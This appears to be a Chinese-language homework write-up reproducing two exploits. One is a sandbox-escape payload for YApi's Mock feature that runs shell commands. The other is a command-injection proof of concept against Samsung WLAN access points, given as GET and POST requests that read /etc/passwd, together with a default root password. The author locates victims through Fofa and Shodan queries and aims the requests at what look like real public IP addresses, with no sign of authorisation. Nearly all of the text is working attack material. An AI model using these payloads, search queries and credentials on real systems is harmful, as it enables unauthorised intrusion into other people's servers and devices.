yapi 由 YMFE开源,旨在为开发、产品、测试人员提供更优雅的接口管理服务,可以帮助开发者轻松创建、发布、维护API。
安全人员在Yapi官方Github仓库提交了漏洞issues,地址为: Yapi 存在远程命令执行漏洞 · Issue #2233 · YMFE/yapi · GitHub
二:漏洞复现
步骤一:Fofa搜索一下语句并随便打开一个页面
。icon_hash="-715193973"
步骤二:点进注册页面填写好注册信息,并登录进去...
步骤三:点击添加项目并填写好信息进行创建,添加接口并填写相关信息
步骤四:创建好接口后进入界面点击高级Mock添加一下代码执行查看内核信息的命令并进行保存...再次点击预览访问Mock地址可查看执行结果。再次判断为Docker环境,无实际可利用位置....
const sandbox = this const ObjectConstructor = this.constructor const FunctionConstructor = ObjectConstructor.constructor const myfun = FunctionConstructor('return process') const process = myfun() mockJson = process.mainModule.require("child_process").execSync("uname -a").toString()
第二个作业
二:漏洞复现
Fofa语法:
title=="Samsung WLAN AP"
Shodan语法:
title:"Samsung WLAN AP"
默认密码:
username:root password:sweap12~
》》》手工利用《《《
步骤一:以下为GET请求POC...
http://222.114.18.19/(download)/tmp/a.txt?command1=shell:ifconfig|%20dd%20of=/tmp/a.txt
步骤二:以下为POST请求的POC...
POST /(download)/tmp/a.txt HTTP/1.1 Host: 224.114.18.19 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 45 command1=shell:ifconfig| dd of=/tmp/a.txt
步骤三:读取/etc/passwd
文件,可以查看登录root用户的加密密码进行解密...也可用默认密码登录....
http://125.135.16.159/(download)/tmp/a.txt?command1=shell:cat /etc/passwd|%20dd%20of=/tmp/a.txt